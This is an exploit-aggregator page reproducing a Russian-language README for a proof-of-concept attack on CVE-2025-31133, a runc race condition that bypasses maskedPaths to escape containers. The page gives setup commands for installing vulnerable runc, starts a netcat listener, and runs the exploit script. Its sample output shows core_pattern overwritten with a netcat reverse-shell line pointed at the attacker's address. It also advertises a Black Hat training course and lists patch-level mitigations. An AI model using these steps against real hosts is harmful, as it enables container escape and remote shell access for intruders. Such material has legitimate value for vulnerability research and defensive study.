Sploitus

Exploit for Learn-about-cve-2025-31133-poc

kitploit · 2026-09-05

Exploit Code

MARKDOWN205 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-C-H4CK-0-LEARN-ABOUT-CVE-2025-31133-POC
# Learn-about-cve-2025-31133-poc

## Обзор

Демонстрация доказательства концепции (PoC) и учебная среда для **CVE-2025-31133** — уязвимости безопасности в runc, позволяющей обойти защиту `maskedPaths` через состояние гонки. `maskedPaths` предназначены для предотвращения доступа контейнеров к чувствительным путям файловой системы хоста.

https://github.com/user-attachments/assets/d7b4ea43-6cab-4ac5-bb07-08bc46479910

👉 Этот репозиторий — практический пример того же исследовательского подхода и техник, которые преподаются на тренинге Black Hat:

# Если вам это интересно, это лишь вершина айсберга.

### Offensive Container Security: A Masterclass in Breaking the Boundaries (Наступательная безопасность контейнеров: Мастер-класс по преодолению границ)

#### 📅 Даты тренинга Black Hat USA 2026:

#### 1–2 августа

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-50910

#### 3–4 августа

https://blackhat.com/us-26/training/schedule/index.html#offensive-container-security-a-masterclass-in-breaking-the-boundaries-509101770251750

### Детали уязвимости

  * **CVE ID** : CVE-2025-31133
  * **Компонент** : runc (среда выполнения контейнеров)
  * **Вектор атаки** : Состояние гонки в обработке maskedPaths
  * **Воздействие** : Побег из контейнера



### Как это работает

Эксплойт использует состояние гонки, при котором:

  1. Контейнер настроен с `maskedPaths` для защиты чувствительных файлов (например, `/proc/sys/kernel/core_pattern`)
  2. Во время инициализации контейнера возникает состояние гонки между: 
     * Удалением узла устройства (`/dev/null`) в корневой файловой системе контейнера
     * Повторным созданием этого узла устройства
  3. Это временное окно позволяет обойти защиту maskedPaths
  4. Атакующий может записывать данные в защищённые файлы, которые должны быть скрыты



## ⚠️ Отказ от ответственности

**Данный репозиторий предназначен только для образовательных целей.**

  * Используйте только в изолированных контролируемых средах
  * Не применяйте против систем, которыми вы не владеете или на тестирование которых не имеете явного разрешения
  * Автор не несёт ответственности за любое неправомерное использование данного кода
  * Этот эксплойт может вызвать нестабильность системы или потерю данных



## Предварительные требования

  * Система Linux (рекомендуется Ubuntu)
  * Root/sudo доступ
  * Подключение к интернету
  * Базовое понимание сред выполнения контейнеров и безопасности



## Настройка

### 1\. Клонируйте или скачайте этот репозиторий

root@kitploit:~
    
    
    git clone https://github.com/C-h4ck-0/Learn-about-cve-2025-31133-poc.git
    cd Learn-about-cve-2025-31133-poc
    

### 2\. Запустите скрипт настройки лаборатории

Скрипт `lab-setup.sh` выполнит:

  * Установку зависимостей
  * Установку уязвимой версии runc v1.2.0



root@kitploit:~
    
    
    chmod +x lab-setup.sh
    ./lab-setup.sh
    

### 3\. Проверьте настройку

Убедитесь, что установлена уязвимая версия runc:

root@kitploit:~
    
    
    runc --version
    

Вы должны увидеть версию `1.2.0` или подобную.

## Запуск эксплойта

### Базовое использование

  1. **Запустите слушатель** на вашей атакующей машине для получения обратного шелла:



root@kitploit:~
    
    
    nc -lnvp <PORT>
    

  2. **Запустите скрипт эксплойта** :



root@kitploit:~
    
    
    chmod +x cve-2025-31133-exploit.sh
    ./cve-2025-31133-exploit.sh
    

  3. **Укажите запрашиваемую информацию** : 
     * IP-адрес атакующего
     * Порт атакующего (на котором запущен ваш слушатель)



### Ожидаемый вывод

В случае успеха вы должны увидеть:

root@kitploit:~
    
    
    [*] Compiling race condition exploit binary...
    [*] Starting exploit attempts...
    [*] Target: /proc/sys/kernel/core_pattern
    [*] Backing up /proc/sys/kernel/core_pattern...
    [*] Backup created at /tmp/core_pattern.bak
    [*] Current content of target:
    |/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
    
    ====================================================
    [*] Testing delay: 5 microseconds
    ====================================================
    X..
    [+] ========================================
    [+] SUCCESS! Exploit succeeded.
    [+] ========================================
    [+] Original content:
    |/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E
    ------------------------------------------------
    [+] Modified content:
    |/bin/nc.traditional <ip-address> <port> -e /bin/bash
    ------------------------------------------------
    ./exploit.sh: line 148:  7068 Segmentation fault      (core dumped) sleep 5
    [*] Restoring original content...
    [*] Restoration complete.
    

На ваш слушатель должно установиться соединение обратного шелла.

## Меры защиты

Для защиты от данной уязвимости:

  1. **Обновите runc** до исправленной версии (v1.2.1 или новее)
  2. **Регулярно обновляйте среды выполнения контейнеров**
  3. **Используйте принцип минимальных привилегий** — запускайте контейнеры в пространстве имён пользователя без прав root



## Ссылки

  * Архив списка рассылки
  * Репозиторий PoC уязвимости на GitHub



## Примечания

  * Из-за природы состояния гонки эксплойт может потребовать нескольких попыток для успеха
  * Вероятность успеха зависит от загрузки системы и времени
  * Скрипт автоматически восстанавливает исходный `core_pattern` после успешной эксплуатации
  * Очистка выполняется автоматически через обработчики сигналов (trap)



## Лицензия

Этот проект предоставлен для образовательных целей. Используйте ответственно и этично.

* * *

**Помните** : Всегда используйте инструменты исследования безопасности ответственно и только в средах, которыми вы владеете или на тестирование которых имеете явное разрешение.